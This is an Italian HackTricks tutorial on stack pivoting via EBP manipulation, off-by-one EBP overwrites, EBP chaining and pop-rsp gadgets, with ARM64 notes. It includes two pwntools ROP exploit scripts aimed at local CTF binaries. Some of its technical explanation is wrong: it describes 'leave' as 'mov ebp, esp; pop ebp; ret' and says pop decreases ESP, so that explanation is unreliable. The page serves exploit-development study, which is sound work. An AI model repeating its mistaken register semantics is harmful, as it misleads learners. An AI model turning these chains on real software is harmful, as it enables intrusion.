Stack Pivoting - EBP2Ret - EBP chaining

Impara l'hacking su AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Informazioni di base

Questa tecnica sfrutta la capacità di manipolare il Base Pointer (EBP) per concatenare l'esecuzione di funzioni multiple attraverso un uso attento del registro EBP e della sequenza di istruzioni leave; ret.

Come promemoria, leave significa fondamentalmente:

mov       ebp, esp
pop       ebp
ret

E poiché l'EBP è nello stack prima dell'EIP è possibile controllarlo controllando lo stack.

EBP2Ret

Questa tecnica è particolarmente utile quando puoi modificare il registro EBP ma non hai un modo diretto per cambiare il registro EIP. Sfrutta il comportamento delle funzioni quando terminano l'esecuzione.

Se, durante l'esecuzione di fvuln, riesci a iniettare un falso EBP nello stack che punta a un'area in memoria dove è situato l'indirizzo del tuo shellcode (più 4 byte per tener conto dell'operazione pop), puoi controllare indirettamente l'EIP. Quando fvuln ritorna, l'ESP è impostato su questa posizione creata, e l'operazione pop successiva diminuisce l'ESP di 4, facendo in modo che punti effettivamente a un indirizzo memorizzato dall'attaccante lì dentro. Nota come devi conoscere 2 indirizzi: Quello dove andrà l'ESP, dove dovrai scrivere l'indirizzo puntato dall'ESP.

Costruzione dell'Exploit

Prima devi conoscere un indirizzo dove puoi scrivere dati / indirizzi arbitrari. L'ESP punterà qui e eseguirà il primo ret.

Poi, devi conoscere l'indirizzo usato da ret che eseguirà codice arbitrario. Potresti usare:

  • Un indirizzo valido di ONE_GADGET.

  • L'indirizzo di system() seguito da 4 byte di spazzatura e l'indirizzo di "/bin/sh" (bit x86).

  • L'indirizzo di un gadget jump esp; (ret2esp) seguito dal shellcode da eseguire.

  • Una catena ROP

Ricorda che prima di questi indirizzi nella parte controllata della memoria, devono esserci 4 byte a causa della parte pop dell'istruzione leave. Sarebbe possibile abusare di questi 4B per impostare un secondo falso EBP e continuare a controllare l'esecuzione.

Exploit Off-By-One

Esiste una variante specifica di questa tecnica nota come "Exploit Off-By-One". Viene utilizzata quando puoi modificare solo il byte meno significativo dell'EBP. In tal caso, la posizione di memoria che memorizza l'indirizzo a cui saltare con il ret deve condividere i primi tre byte con l'EBP, consentendo una manipolazione simile con condizioni più vincolate. Di solito si modifica il byte 0x00 per saltare il più lontano possibile.

Inoltre, è comune utilizzare un RET sled nello stack e inserire la vera catena ROP alla fine per rendere più probabile che il nuovo ESP punti all'interno del RET SLED e la catena ROP finale venga eseguita.

EBP Chaining

Pertanto, inserendo un indirizzo controllato nell'ingresso EBP dello stack e un indirizzo a leave; ret in EIP, è possibile spostare l'ESP all'indirizzo EBP controllato dallo stack.

Ora, l'ESP è controllato puntando a un indirizzo desiderato e l'istruzione successiva da eseguire è un RET. Per sfruttare ciò, è possibile inserire in questo indirizzo ESP controllato quanto segue:

  • &(prossimo falso EBP) -> Carica il nuovo EBP a causa di pop ebp dall'istruzione leave

  • system() -> Chiamato da ret

  • &(leave;ret) -> Chiamato dopo che system termina, sposterà ESP al falso EBP e ricomincerà

  • &("/bin/sh")-> Parametro per system

In questo modo è possibile concatenare diversi falsi EBPs per controllare il flusso del programma.

Questo è simile a un ret2lib, ma più complesso senza un beneficio apparente ma potrebbe essere interessante in alcuni casi limite.

Inoltre, qui hai un esempio di una sfida che utilizza questa tecnica con un leak dello stack per chiamare una funzione vincente. Questo è il payload finale dalla pagina:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

EBP potrebbe non essere utilizzato

Come spiegato in questo post, se un binario è compilato con alcune ottimizzazioni, l'EBP non arriva mai a controllare ESP, quindi, qualsiasi exploit che funziona controllando EBP fallirà essenzialmente perché non ha alcun effetto reale. Questo perché il prologo e l'epilogo cambiano se il binario è ottimizzato.

  • Non ottimizzato:

push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Ottimizzato:

push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return

Altri modi per controllare RSP

Gadget pop rsp

In questa pagina puoi trovare un esempio che utilizza questa tecnica. Per questa sfida è stato necessario chiamare una funzione con 2 argomenti specifici, ed è stato trovato un gadget pop rsp e c'è un leak dallo stack:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

Gadget xchg <reg>, rsp

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Controlla la tecnica ret2esp qui:

pageRet2esp / Ret2reg

Riferimenti ed Altri Esempi

ARM64

In ARM64, le prologhe ed epiloghe delle funzioni non memorizzano e recuperano il registro SP nello stack. Inoltre, l'istruzione RET non ritorna all'indirizzo puntato da SP, ma all'indirizzo all'interno di x30.

Pertanto, di default, sfruttando solo l'epilogo non sarai in grado di controllare il registro SP sovrascrivendo alcuni dati nello stack. E anche se riesci a controllare lo SP, avresti comunque bisogno di un modo per controllare il registro x30.

  • prologo

sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP punta al record del frame
  • epilogo

ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

Il modo per eseguire qualcosa di simile allo stack pivoting in ARM64 sarebbe essere in grado di controllare lo SP (controllando qualche registro il cui valore viene passato a SP o perché per qualche motivo SP sta prendendo il suo indirizzo dallo stack e abbiamo un overflow) e quindi abusare dell'epilogo per caricare il registro x30 da uno SP controllato e RET ad esso.

Inoltre nella pagina seguente puoi vedere l'equivalente di Ret2esp in ARM64:

pageRet2esp / Ret2reg
Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated